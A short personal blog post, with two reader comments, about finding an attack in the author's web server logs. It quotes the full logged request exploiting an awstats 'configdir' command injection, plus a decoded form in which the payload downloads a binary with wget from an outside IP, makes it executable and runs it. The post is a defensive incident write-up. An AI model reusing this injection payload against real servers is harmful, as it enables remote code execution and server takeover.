Securing My Site

While trying to learn about network security I installed snort on this box. Today while configuring the server to allow me to access WordPress’s admin area over SSL I found a couple interesting things I thought I would share.

GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024
    %2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20
    216%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1;)

The interesting part is

wget y.y.y.y/listen;
chmod +x listen;
./listen z.z.z.z;

Basically downloading some sort of app, then running that app. I assume this app will connect to z.z.z.z which is either an already cracked system or one that they are targetting. I also assume from the name listen that it will open a port on my server (which won’t work due to the firewall).

Now this could just be some worm since I have seen several of these hits recently. The IP it came from is not any of the IPs listed in the url.

Also I did have awstats running. I have since blocked off general access to it and a few other scripts.

Posted in Technology and tagged . Permalink.

2 Responses to Securing My Site

  1. Hmm, that is strange. I havnt seen that before.
    Did you investigate a little more to see what was sending those requests?

    -mark

  2. I poked around a little bit, but I didn’t find much. The script could have been anything, but was probably trying to root my server to send spam or something like that.

    From what I could tell, the requests came from some server in Korea (I think; it’s been a while). When I visited the server with a browser I got some company’s page. I figure whoever was sending the requests probably got into the Korea server and was using it as a platform to attack other servers.

    I got Snort running soon after I wrote this. It has seen over a thousand of these since then. There is more info on the attack at the Snort website.

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>